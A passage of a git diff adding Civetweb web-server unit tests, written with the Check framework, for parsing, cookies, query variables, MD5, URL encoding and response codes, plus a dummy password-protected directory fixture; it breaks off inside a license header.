tcase_create("Internal Parsing 2"); + TCase *const tcase_internal_parse_3 = tcase_create("Internal Parsing 3"); + TCase *const tcase_internal_parse_4 = tcase_create("Internal Parsing 4"); + TCase *const tcase_internal_parse_5 = tcase_create("Internal Parsing 5"); + TCase *const tcase_internal_parse_6 = tcase_create("Internal Parsing 6"); + TCase *const tcase_encode_decode = tcase_create("Encode Decode"); + TCase *const tcase_mask_data = tcase_create("Mask Data"); + TCase *const tcase_parse_date_string = tcase_create("Date Parsing"); + TCase *const tcase_sha1 = tcase_create("SHA1"); + + tcase_add_test(tcase_http_message, test_parse_http_message); + tcase_set_timeout(tcase_http_message, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_http_message); + + tcase_add_test(tcase_http_keep_alive, test_should_keep_alive); + tcase_set_timeout(tcase_http_keep_alive, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_http_keep_alive); + + tcase_add_test(tcase_url_parsing_1, test_match_prefix); + tcase_set_timeout(tcase_url_parsing_1, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_url_parsing_1); + + tcase_add_test(tcase_url_parsing_2, + test_remove_double_dots_and_double_slashes); + tcase_set_timeout(tcase_url_parsing_2, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_url_parsing_2); + + tcase_add_test(tcase_url_parsing_3, test_is_valid_uri); + tcase_set_timeout(tcase_url_parsing_3, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_url_parsing_3); + + tcase_add_test(tcase_internal_parse_1, test_next_option); + tcase_set_timeout(tcase_internal_parse_1, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_1); + + tcase_add_test(tcase_internal_parse_2, test_skip_quoted); + tcase_set_timeout(tcase_internal_parse_2, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_2); + + tcase_add_test(tcase_internal_parse_3, test_mg_strcasestr); + tcase_set_timeout(tcase_internal_parse_3, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_3); + + tcase_add_test(tcase_internal_parse_4, test_alloc_vprintf); + tcase_set_timeout(tcase_internal_parse_4, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_4); + + tcase_add_test(tcase_internal_parse_5, test_mg_vsnprintf); + tcase_set_timeout(tcase_internal_parse_5, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_5); + + tcase_add_test(tcase_internal_parse_6, test_parse_port_string); + tcase_set_timeout(tcase_internal_parse_6, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_internal_parse_6); + + tcase_add_test(tcase_encode_decode, test_encode_decode); + tcase_set_timeout(tcase_encode_decode, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_encode_decode); + + tcase_add_test(tcase_mask_data, test_mask_data); + tcase_set_timeout(tcase_mask_data, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_mask_data); + + tcase_add_test(tcase_parse_date_string, test_parse_date_string); + tcase_set_timeout(tcase_parse_date_string, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_parse_date_string); + + tcase_add_test(tcase_sha1, test_sha1); + tcase_set_timeout(tcase_sha1, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_sha1); + + return suite; +} +#endif + + +#ifdef REPLACE_CHECK_FOR_LOCAL_DEBUGGING +/* Used to debug test cases without using the check framework */ + +void +MAIN_PRIVATE(void) +{ +#if defined(_WIN32) + /* test_parse_port_string requires WSAStartup for IPv6 */ + WSADATA data; + WSAStartup(MAKEWORD(2, 2), &data); +#endif + + test_alloc_vprintf(0); + test_mg_vsnprintf(0); + test_remove_double_dots_and_double_slashes(0); + test_parse_date_string(0); + test_parse_port_string(0); + test_parse_http_message(0); + test_sha1(0); + +#if defined(_WIN32) + WSACleanup(); +#endif +} + +#endif diff --git a/src/civetweb/test/private.h b/src/civetweb/test/private.h new file mode 100644 index 000000000..670b66595 --- /dev/null +++ b/src/civetweb/test/private.h @@ -0,0 +1,28 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_PRIVATE_H_ +#define TEST_PRIVATE_H_ + +#include "civetweb_check.h" + +Suite *make_private_suite(void); + +#endif /* TEST_PRIVATE_H_ */ diff --git a/src/civetweb/test/private_exe.c b/src/civetweb/test/private_exe.c new file mode 100644 index 000000000..9131efff7 --- /dev/null +++ b/src/civetweb/test/private_exe.c @@ -0,0 +1,82 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/** + * We include the source file so that we have access to the internal private + * static functions. + */ +#ifdef _MSC_VER +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#endif +#endif + +#include "private_exe.h" + +/* This is required for "realpath". According to + * http://man7.org/linux/man-pages/man3/realpath.3.html + * defining _XOPEN_SOURCE 600 should be enough, but in + * practice this does not work. */ +extern char *realpath(const char *path, char *resolved_path); + +/* main is already used in the test suite, + * so this define will rename main in main.c */ +#define main exe_main + +#include "../src/main.c" + +#include + +/* This unit test file uses the excellent Check unit testing library. + * The API documentation is available here: + * http://check.sourceforge.net/doc/check_html/index.html + */ + +START_TEST(test_helper_funcs) +{ + const char *psrc = "test str"; + char *pdst; + + /* test sdup */ + pdst = sdup(psrc); + ck_assert(pdst != NULL); + ck_assert_str_eq(pdst, psrc); + ck_assert_ptr_ne(pdst, psrc); + free(pdst); +} +END_TEST + + +#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING) +Suite * +make_private_exe_suite(void) +{ + Suite *const suite = suite_create("EXE"); + + TCase *const tcase_helper_funcs = tcase_create("Helper funcs"); + + tcase_add_test(tcase_helper_funcs, test_helper_funcs); + tcase_set_timeout(tcase_helper_funcs, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_helper_funcs); + + return suite; +} +#endif diff --git a/src/civetweb/test/private_exe.h b/src/civetweb/test/private_exe.h new file mode 100644 index 000000000..5e8e9bf62 --- /dev/null +++ b/src/civetweb/test/private_exe.h @@ -0,0 +1,31 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_PRIVATE_EXE_H_ +#define TEST_PRIVATE_EXE_H_ + +#include "civetweb_check.h" + +Suite *make_private_exe_suite(void); + +/* This is a redefine for "main" in main.c */ +int exe_main(int argc, char *argv[]); + +#endif /* TEST_PRIVATE_H_ */ diff --git a/src/civetweb/test/protected/.htpasswd b/src/civetweb/test/protected/.htpasswd new file mode 100644 index 000000000..5686ad3d8 --- /dev/null +++ b/src/civetweb/test/protected/.htpasswd @@ -0,0 +1 @@ +user:mydomain.com:1aeed57ec85c6126e335a54789c2ecfa diff --git a/src/civetweb/test/protected/content.txt b/src/civetweb/test/protected/content.txt new file mode 100644 index 000000000..0bcd51a0e --- /dev/null +++ b/src/civetweb/test/protected/content.txt @@ -0,0 +1,5 @@ +Protected directory. + +username: user +password: pass + diff --git a/src/civetweb/test/public_func.c b/src/civetweb/test/public_func.c new file mode 100644 index 000000000..deb3dd5a5 --- /dev/null +++ b/src/civetweb/test/public_func.c @@ -0,0 +1,546 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#ifdef _MSC_VER +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#endif +#endif + +#include +#include + +#include "public_func.h" +#include + +/* This unit test file uses the excellent Check unit testing library. + * The API documentation is available here: + * http://check.sourceforge.net/doc/check_html/index.html + */ + +START_TEST(test_mg_version) +{ + const char *ver = mg_version(); + unsigned major = 0, minor = 0; + unsigned feature_files, feature_https, feature_cgi, feature_ipv6, + feature_websocket, feature_lua, feature_duktape, feature_caching; + unsigned expect_files = 0, expect_https = 0, expect_cgi = 0, + expect_ipv6 = 0, expect_websocket = 0, expect_lua = 0, + expect_duktape = 0, expect_caching = 0; + int ret, len; + char *buf; + + ck_assert(ver != NULL); + ck_assert_str_eq(ver, CIVETWEB_VERSION); + + /* check structure of version string */ + ret = sscanf(ver, "%u.%u", &major, &minor); + ck_assert_int_eq(ret, 2); + ck_assert_uint_ge(major, 1); + if (major == 1) { + ck_assert_uint_ge(minor, 8); /* current version is 1.8 */ + } + + /* check feature */ + feature_files = mg_check_feature(1); + feature_https = mg_check_feature(2); + feature_cgi = mg_check_feature(4); + feature_ipv6 = mg_check_feature(8); + feature_websocket = mg_check_feature(16); + feature_lua = mg_check_feature(32); + feature_duktape = mg_check_feature(64); + feature_caching = mg_check_feature(128); + +#if !defined(NO_FILES) + expect_files = 1; +#endif +#if !defined(NO_SSL) + expect_https = 1; +#endif +#if !defined(NO_CGI) + expect_cgi = 1; +#endif +#if defined(USE_IPV6) + expect_ipv6 = 1; +#endif +#if defined(USE_WEBSOCKET) + expect_websocket = 1; +#endif +#if defined(USE_LUA) + expect_lua = 1; +#endif +#if defined(USE_DUKTAPE) + expect_duktape = 1; +#endif +#if !defined(NO_CACHING) + expect_caching = 1; +#endif + + ck_assert_uint_eq(expect_files, !!feature_files); + ck_assert_uint_eq(expect_https, !!feature_https); + ck_assert_uint_eq(expect_cgi, !!feature_cgi); + ck_assert_uint_eq(expect_ipv6, !!feature_ipv6); + ck_assert_uint_eq(expect_websocket, !!feature_websocket); + ck_assert_uint_eq(expect_lua, !!feature_lua); + ck_assert_uint_eq(expect_duktape, !!feature_duktape); + ck_assert_uint_eq(expect_caching, !!feature_caching); + + /* get system information */ + len = mg_get_system_info(NULL, 0); + ck_assert_int_gt(len, 0); + buf = (char *)malloc((unsigned)len + 1); + ck_assert_ptr_ne(buf, NULL); + ret = mg_get_system_info(buf, len + 1); + ck_assert_int_eq(len, ret); + ret = (int)strlen(buf); + ck_assert_int_eq(len, ret); + free(buf); +} +END_TEST + + +START_TEST(test_mg_get_valid_options) +{ + int i; + const struct mg_option *default_options = mg_get_valid_options(); + + ck_assert(default_options != NULL); + + for (i = 0; default_options[i].name != NULL; i++) { + ck_assert(default_options[i].name != NULL); + ck_assert(strlen(default_options[i].name) > 0); + ck_assert(((int)default_options[i].type) > 0); + } + + ck_assert(i > 0); +} +END_TEST + + +START_TEST(test_mg_get_builtin_mime_type) +{ + ck_assert_str_eq(mg_get_builtin_mime_type("x.txt"), "text/plain"); + ck_assert_str_eq(mg_get_builtin_mime_type("x.html"), "text/html"); + ck_assert_str_eq(mg_get_builtin_mime_type("x.HTML"), "text/html"); + ck_assert_str_eq(mg_get_builtin_mime_type("x.hTmL"), "text/html"); + ck_assert_str_eq(mg_get_builtin_mime_type("/abc/def/ghi.htm"), "text/html"); + ck_assert_str_eq(mg_get_builtin_mime_type("x.unknown_extention_xyz"), + "text/plain"); +} +END_TEST + + +START_TEST(test_mg_strncasecmp) +{ + ck_assert(mg_strncasecmp("abc", "abc", 3) == 0); + ck_assert(mg_strncasecmp("abc", "abcd", 3) == 0); + ck_assert(mg_strncasecmp("abc", "abcd", 4) != 0); + ck_assert(mg_strncasecmp("a", "A", 1) == 0); + + ck_assert(mg_strncasecmp("A", "B", 1) < 0); + ck_assert(mg_strncasecmp("A", "b", 1) < 0); + ck_assert(mg_strncasecmp("a", "B", 1) < 0); + ck_assert(mg_strncasecmp("a", "b", 1) < 0); + ck_assert(mg_strncasecmp("b", "A", 1) > 0); + ck_assert(mg_strncasecmp("B", "A", 1) > 0); + ck_assert(mg_strncasecmp("b", "a", 1) > 0); + ck_assert(mg_strncasecmp("B", "a", 1) > 0); + + ck_assert(mg_strncasecmp("xAx", "xBx", 3) < 0); + ck_assert(mg_strncasecmp("xAx", "xbx", 3) < 0); + ck_assert(mg_strncasecmp("xax", "xBx", 3) < 0); + ck_assert(mg_strncasecmp("xax", "xbx", 3) < 0); + ck_assert(mg_strncasecmp("xbx", "xAx", 3) > 0); + ck_assert(mg_strncasecmp("xBx", "xAx", 3) > 0); + ck_assert(mg_strncasecmp("xbx", "xax", 3) > 0); + ck_assert(mg_strncasecmp("xBx", "xax", 3) > 0); +} +END_TEST + + +START_TEST(test_mg_get_cookie) +{ + char buf[32]; + int ret; + const char *longcookie = "key1=1; key2=2; key3; key4=4; key5=; key6; " + "key7=this+is+it; key8=8; key9"; + + /* invalid result buffer */ + ret = mg_get_cookie("", "notfound", NULL, 999); + ck_assert_int_eq(ret, -2); + + /* zero size result buffer */ + ret = mg_get_cookie("", "notfound", buf, 0); + ck_assert_int_eq(ret, -2); + + /* too small result buffer */ + ret = mg_get_cookie("key=toooooooooolong", "key", buf, 4); + ck_assert_int_eq(ret, -3); + + /* key not found in string */ + ret = mg_get_cookie("", "notfound", buf, sizeof(buf)); + ck_assert_int_eq(ret, -1); + + ret = mg_get_cookie(longcookie, "notfound", buf, sizeof(buf)); + ck_assert_int_eq(ret, -1); + + /* key not found in string */ + ret = mg_get_cookie("key1=1; key2=2; key3=3", "notfound", buf, sizeof(buf)); + ck_assert_int_eq(ret, -1); + + /* keys are found as first, middle and last key */ + memset(buf, 77, sizeof(buf)); + ret = mg_get_cookie("key1=1; key2=2; key3=3", "key1", buf, sizeof(buf)); + ck_assert_int_eq(ret, 1); + ck_assert_str_eq("1", buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_get_cookie("key1=1; key2=2; key3=3", "key2", buf, sizeof(buf)); + ck_assert_int_eq(ret, 1); + ck_assert_str_eq("2", buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_get_cookie("key1=1; key2=2; key3=3", "key3", buf, sizeof(buf)); + ck_assert_int_eq(ret, 1); + ck_assert_str_eq("3", buf); + + /* longer value in the middle of a longer string */ + memset(buf, 77, sizeof(buf)); + ret = mg_get_cookie(longcookie, "key7", buf, sizeof(buf)); + ck_assert_int_eq(ret, 10); + ck_assert_str_eq("this+is+it", buf); + + /* key with = but without value in the middle of a longer string */ + memset(buf, 77, sizeof(buf)); + ret = mg_get_cookie(longcookie, "key5", buf, sizeof(buf)); + ck_assert_int_eq(ret, 0); + ck_assert_str_eq("", buf); + + /* key without = and without value in the middle of a longer string */ + memset(buf, 77, sizeof(buf)); + ret = mg_get_cookie(longcookie, "key6", buf, sizeof(buf)); + ck_assert_int_eq(ret, -1); + /* TODO: mg_get_cookie and mg_get_var(2) should have the same behavior */ +} +END_TEST + + +START_TEST(test_mg_get_var) +{ + char buf[32]; + int ret; + const char *shortquery = "key1=1&key2=2&key3=3"; + const char *longquery = "key1=1&key2=2&key3&key4=4&key5=&key6&" + "key7=this+is+it&key8=8&key9&&key10=&&" + "key7=that+is+it&key12=12"; + + /* invalid result buffer */ + ret = mg_get_var2("", 0, "notfound", NULL, 999, 0); + ck_assert_int_eq(ret, -2); + + /* zero size result buffer */ + ret = mg_get_var2("", 0, "notfound", buf, 0, 0); + ck_assert_int_eq(ret, -2); + + /* too small result buffer */ + ret = mg_get_var2("key=toooooooooolong", 19, "key", buf, 4, 0); + /* ck_assert_int_eq(ret, -3); + --> TODO: mg_get_cookie returns -3, mg_get_var -2. This should be + unified. */ + ck_assert(ret < 0); + + /* key not found in string */ + ret = mg_get_var2("", 0, "notfound", buf, sizeof(buf), 0); + ck_assert_int_eq(ret, -1); + + ret = mg_get_var2( + longquery, strlen(longquery), "notfound", buf, sizeof(buf), 0); + ck_assert_int_eq(ret, -1); + + /* key not found in string */ + ret = mg_get_var2( + shortquery, strlen(shortquery), "notfound", buf, sizeof(buf), 0); + ck_assert_int_eq(ret, -1); + + /* key not found in string */ + ret = mg_get_var2("key1=1&key2=2&key3=3¬found=here", + strlen(shortquery), + "notfound", + buf, + sizeof(buf), + 0); + ck_assert_int_eq(ret, -1); + + /* key not found in string */ + ret = mg_get_var2( + shortquery, strlen(shortquery), "key1", buf, sizeof(buf), 1); + ck_assert_int_eq(ret, -1); + + /* keys are found as first, middle and last key */ + memset(buf, 77, sizeof(buf)); + ret = mg_get_var2( + shortquery, strlen(shortquery), "key1", buf, sizeof(buf), 0); + ck_assert_int_eq(ret, 1); + ck_assert_str_eq("1", buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_get_var2( + shortquery, strlen(shortquery), "key2", buf, sizeof(buf), 0); + ck_assert_int_eq(ret, 1); + ck_assert_str_eq("2", buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_get_var2( + shortquery, strlen(shortquery), "key3", buf, sizeof(buf), 0); + ck_assert_int_eq(ret, 1); + ck_assert_str_eq("3", buf); + + /* mg_get_var call mg_get_var2 with last argument 0 */ + memset(buf, 77, sizeof(buf)); + ret = mg_get_var(shortquery, strlen(shortquery), "key1", buf, sizeof(buf)); + ck_assert_int_eq(ret, 1); + ck_assert_str_eq("1", buf); + + /* longer value in the middle of a longer string */ + memset(buf, 77, sizeof(buf)); + ret = + mg_get_var2(longquery, strlen(longquery), "key7", buf, sizeof(buf), 0); + ck_assert_int_eq(ret, 10); + ck_assert_str_eq("this is it", buf); + + /* longer value in the middle of a longer string - seccond occurance of key + */ + memset(buf, 77, sizeof(buf)); + ret = + mg_get_var2(longquery, strlen(longquery), "key7", buf, sizeof(buf), 1); + ck_assert_int_eq(ret, 10); + ck_assert_str_eq("that is it", buf); + + /* key with = but without value in the middle of a longer string */ + memset(buf, 77, sizeof(buf)); + ret = + mg_get_var2(longquery, strlen(longquery), "key5", buf, sizeof(buf), 0); + ck_assert_int_eq(ret, 0); + ck_assert_str_eq(buf, ""); + + /* key without = and without value in the middle of a longer string */ + memset(buf, 77, sizeof(buf)); + ret = + mg_get_var2(longquery, strlen(longquery), "key6", buf, sizeof(buf), 0); + ck_assert_int_eq(ret, -1); + ck_assert_str_eq(buf, ""); + /* TODO: this is the same situation as with mg_get_value */ +} +END_TEST + + +START_TEST(test_mg_md5) +{ + char buf[33]; + char *ret; + const char *long_str = + "_123456789A123456789B123456789C123456789D123456789E123456789F123456789" + "G123456789H123456789I123456789J123456789K123456789L123456789M123456789" + "N123456789O123456789P123456789Q123456789R123456789S123456789T123456789" + "U123456789V123456789W123456789X123456789Y123456789Z"; + + memset(buf, 77, sizeof(buf)); + ret = mg_md5(buf, NULL); + ck_assert_str_eq(buf, "d41d8cd98f00b204e9800998ecf8427e"); + ck_assert_str_eq(ret, "d41d8cd98f00b204e9800998ecf8427e"); + ck_assert_ptr_eq(ret, buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_md5(buf, "The quick brown fox jumps over the lazy dog.", NULL); + ck_assert_str_eq(buf, "e4d909c290d0fb1ca068ffaddf22cbd0"); + ck_assert_str_eq(ret, "e4d909c290d0fb1ca068ffaddf22cbd0"); + ck_assert_ptr_eq(ret, buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_md5(buf, + "", + "The qu", + "ick bro", + "", + "wn fox ju", + "m", + "ps over the la", + "", + "", + "zy dog.", + "", + NULL); + ck_assert_str_eq(buf, "e4d909c290d0fb1ca068ffaddf22cbd0"); + ck_assert_str_eq(ret, "e4d909c290d0fb1ca068ffaddf22cbd0"); + ck_assert_ptr_eq(ret, buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_md5(buf, long_str, NULL); + ck_assert_str_eq(buf, "1cb13cf9f16427807f081b2138241f08"); + ck_assert_str_eq(ret, "1cb13cf9f16427807f081b2138241f08"); + ck_assert_ptr_eq(ret, buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_md5(buf, long_str + 1, NULL); + ck_assert_str_eq(buf, "cf62d3264334154f5779d3694cc5093f"); + ck_assert_str_eq(ret, "cf62d3264334154f5779d3694cc5093f"); + ck_assert_ptr_eq(ret, buf); +} +END_TEST + + +START_TEST(test_mg_url_encode) +{ + char buf[20]; + int ret; + + memset(buf, 77, sizeof(buf)); + ret = mg_url_encode("abc", buf, sizeof(buf)); + ck_assert_int_eq(3, ret); + ck_assert_str_eq("abc", buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_encode("a%b/c&d.e", buf, sizeof(buf)); + ck_assert_int_eq(15, ret); + ck_assert_str_eq("a%25b%2fc%26d.e", buf); + + memset(buf, 77, sizeof(buf)); + ret = mg_url_encode("%%%", buf, 4); + ck_assert_int_eq(-1, ret); + ck_assert_str_eq("%25", buf); +} +END_TEST + + +START_TEST(test_mg_url_decode) +{ + char buf[20]; + int ret; + + ret = mg_url_decode("abc", 3, buf, sizeof(buf), 0); + ck_assert_int_eq(ret, 3); + ck_assert_str_eq(buf, "abc"); + + ret = mg_url_decode("abcdef", 3, buf, sizeof(buf), 0); + ck_assert_int_eq(ret, 3); + ck_assert_str_eq(buf, "abc"); + + ret = mg_url_decode("x+y", 3, buf, sizeof(buf), 0); + ck_assert_int_eq(ret, 3); + ck_assert_str_eq(buf, "x+y"); + + ret = mg_url_decode("x+y", 3, buf, sizeof(buf), 1); + ck_assert_int_eq(ret, 3); + ck_assert_str_eq(buf, "x y"); + + ret = mg_url_decode("%25", 3, buf, sizeof(buf), 1); + ck_assert_int_eq(ret, 1); + ck_assert_str_eq(buf, "%"); +} +END_TEST + + +START_TEST(test_mg_get_response_code_text) +{ + int i; + size_t j, len; + const char *resp; + + for (i = 100; i < 600; i++) { + resp = mg_get_response_code_text(NULL, i); + ck_assert_ptr_ne(resp, NULL); + len = strlen(resp); + ck_assert_uint_gt(len, 1); + ck_assert_uint_lt(len, 32); + for (j = 0; j < len; j++) { + if (resp[j] == ' ') { + /* space is valid */ + } else if (resp[j] == '-') { + /* hyphen is valid */ + } else if (resp[j] >= 'A' && resp[j] <= 'Z') { + /* A-Z is valid */ + } else if (resp[j] >= 'a' && resp[j] <= 'z') { + /* a-z is valid */ + } else { + ck_abort_msg("Found letter %c (%02xh) in %s", + resp[j], + resp[j], + resp); + } + } + } +} +END_TEST + + +#if !defined(REPLACE_CHECK_FOR_LOCAL_DEBUGGING) +Suite * +make_public_func_suite(void) +{ + Suite *const suite = suite_create("PublicFunc"); + + TCase *const tcase_version = tcase_create("Version"); + TCase *const tcase_get_valid_options = tcase_create("Options"); + TCase *const tcase_get_builtin_mime_type = tcase_create("MIME types"); + TCase *const tcase_strncasecmp = tcase_create("strcasecmp"); + TCase *const tcase_urlencodingdecoding = + tcase_create("URL encoding decoding"); + TCase *const tcase_cookies = tcase_create("Cookies and variables"); + TCase *const tcase_md5 = tcase_create("MD5"); + TCase *const tcase_aux = tcase_create("Aux functions"); + + tcase_add_test(tcase_version, test_mg_version); + tcase_set_timeout(tcase_version, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_version); + + tcase_add_test(tcase_get_valid_options, test_mg_get_valid_options); + tcase_set_timeout(tcase_get_valid_options, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_get_valid_options); + + tcase_add_test(tcase_get_builtin_mime_type, test_mg_get_builtin_mime_type); + tcase_set_timeout(tcase_get_builtin_mime_type, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_get_builtin_mime_type); + + tcase_add_test(tcase_strncasecmp, test_mg_strncasecmp); + tcase_set_timeout(tcase_strncasecmp, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_strncasecmp); + + tcase_add_test(tcase_urlencodingdecoding, test_mg_url_encode); + tcase_add_test(tcase_urlencodingdecoding, test_mg_url_decode); + tcase_set_timeout(tcase_urlencodingdecoding, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_urlencodingdecoding); + + tcase_add_test(tcase_cookies, test_mg_get_cookie); + tcase_add_test(tcase_cookies, test_mg_get_var); + tcase_set_timeout(tcase_cookies, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_cookies); + + tcase_add_test(tcase_md5, test_mg_md5); + tcase_set_timeout(tcase_md5, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_md5); + + tcase_add_test(tcase_aux, test_mg_get_response_code_text); + tcase_set_timeout(tcase_aux, civetweb_min_test_timeout); + suite_add_tcase(suite, tcase_aux); + + return suite; +} +#endif diff --git a/src/civetweb/test/public_func.h b/src/civetweb/test/public_func.h new file mode 100644 index 000000000..e2140832f --- /dev/null +++ b/src/civetweb/test/public_func.h @@ -0,0 +1,28 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_PUBLIC_FUNC_H_ +#define TEST_PUBLIC_FUNC_H_ + +#include "civetweb_check.h" + +Suite *make_public_func_suite(void); + +#endif /* TEST_PUBLIC_H_ */ diff --git a/src/civetweb/test/public_server.c b/src/civetweb/test/public_server.c new file mode 100644 index 000000000..b080ac26c --- /dev/null +++ b/src/civetweb/test/public_server.c @@ -0,0 +1,4953 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF 